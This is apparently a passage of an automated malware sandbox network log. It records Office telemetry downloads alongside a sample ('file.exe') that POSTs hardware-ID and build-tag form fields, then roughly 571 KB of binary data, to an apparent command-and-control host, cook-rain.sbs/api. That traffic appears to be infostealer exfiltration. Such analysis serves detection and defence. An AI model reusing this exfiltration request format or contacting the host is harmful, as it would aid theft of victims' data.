2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-18 04:57:14 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49716	188.114.97.3	443	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:14 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1F54MW8MPT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1173 Host: cook-rain.sbs
2024-11-18 04:57:14 UTC	1173	OUT	Data Raw: 2d 2d 31 46 35 34 4d 57 38 4d 50 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 46 45 45 46 37 38 33 45 35 32 39 35 33 36 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 31 46 35 34 4d 57 38 4d 50 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 46 35 34 4d 57 38 4d 50 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 46 35 34 4d 57 38 4d 50 54 0d 0a 43 6f Data Ascii: --1F54MW8MPTContent-Disposition: form-data; name="hwid"6AFEEF783E529536F7005D7B20127A88--1F54MW8MPTContent-Disposition: form-data; name="pid"1--1F54MW8MPTContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--1F54MW8MPTCo
2024-11-18 04:57:14 UTC	1002	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=93m4a1c34rrdn8uae1t8fd8mkv; expires=Thu, 13-Mar-2025 22:43:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BxWCPqzWjeumffI3xcqr3mMdxeFmfV5pmWJoCqD3LA8LwwLJKZkkb0a3bKfmp4Qh%2FPBydjXfAd2V7ljJ9DjJ%2BptuPeZWfGOrF14J9ajn7ALI7o42XZ0VIiwn08moxNKv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4560e8896b4654-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1097&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=2079&delivery_rate=2500863&cwnd=251&unsent_bytes=0&cid=feee873224776b3f&ts=802&x=0"
2024-11-18 04:57:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 04:57:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:15 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:15 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 3b7f0400-201e-0071-256d-38ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045715Z-164f84587bf7jb9dhC1DFWkay4000000052g00000000119u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:15 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:15 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: db45c3c2-701e-0053-2e8e-363a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045715Z-164f84587bflm48hhC1DFW0nf800000001z000000000nrva x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:15 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045715Z-16547b76f7f64d6whC1DFWf9vn00000003yg0000000069ab x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:15 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:16 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 93eb20e0-b01e-0021-689b-37cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045716Z-164f84587bfm8kdnhC1DFWey4g00000005ag00000000m8b7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:15 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:16 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05f35093-901e-0016-5b99-38efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045716Z-1866b5c5fbb7km9phC1DFWr2sc0000000480000000002dvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49722	188.114.97.3	443	4148	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:16 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Z0NZ8PTDB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571369 Host: cook-rain.sbs
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: 2d 2d 5a 30 4e 5a 38 50 54 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 41 46 45 45 46 37 38 33 45 35 32 39 35 33 36 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 5a 30 4e 5a 38 50 54 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 30 4e 5a 38 50 54 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 5a 30 4e 5a 38 50 54 44 42 0d 0a 43 6f 6e 74 65 6e Data Ascii: --Z0NZ8PTDBContent-Disposition: form-data; name="hwid"6AFEEF783E529536F7005D7B20127A88--Z0NZ8PTDBContent-Disposition: form-data; name="pid"1--Z0NZ8PTDBContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--Z0NZ8PTDBConten
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 f8 12 4a f2 0a fb 4a 31 24 a9 f4 f5 55 cb 8b 66 6a 05 5f ac 7b fa 3d b9 3f 26 e7 eb 7e ad 3f 95 1e 8e 08 4d c4 ee 2a 2d 89 24 89 7e 45 68 82 01 f3 63 85 59 b4 da 3e 24 e9 1f Data Ascii: tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|47H2Q0,0Mtm u`/2$woXpEo4JJ1$Ufj_{=?&~?M-$~EhcY>$
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 1a f9 d5 c3 c0 a2 bc 23 f2 c1 7e ef a0 20 d8 af 71 f2 d9 0e 23 ef 4f fb 30 30 b7 6a 1f e3 4c 7e 9c c7 3e 06 f9 cc 71 10 ea f5 ab b0 be ee 9d e0 d4 07 0c 90 fc 2a 8c 15 8a a7 Data Ascii: Q/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6#~ q#O00jL~>q*
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e 3f 14 cd 0b 26 ca b3 35 d0 dd 3c cc 59 04 50 42 52 f0 d7 a4 8e 27 f3 57 65 4a 00 4d 38 02 02 3d 42 e7 8a 79 a0 1c fe 76 34 42 08 08 08 c3 fe b7 b3 b8 48 ad c0 0e 9d ed 61 a8 Data Ascii: iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).?&5<YPBR'WeJM8=Byv4BHa
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a c0 82 48 45 6c 1e 5e 6a a7 23 88 ec 8b 3e d6 9b b3 1f 37 c3 75 b9 3b 6b 15 54 d8 14 10 2b 39 89 9b 7b fd 90 cd d6 88 a3 c3 b7 f8 8b 82 c6 d1 85 ef bc 12 0a 1d e2 56 66 f4 14 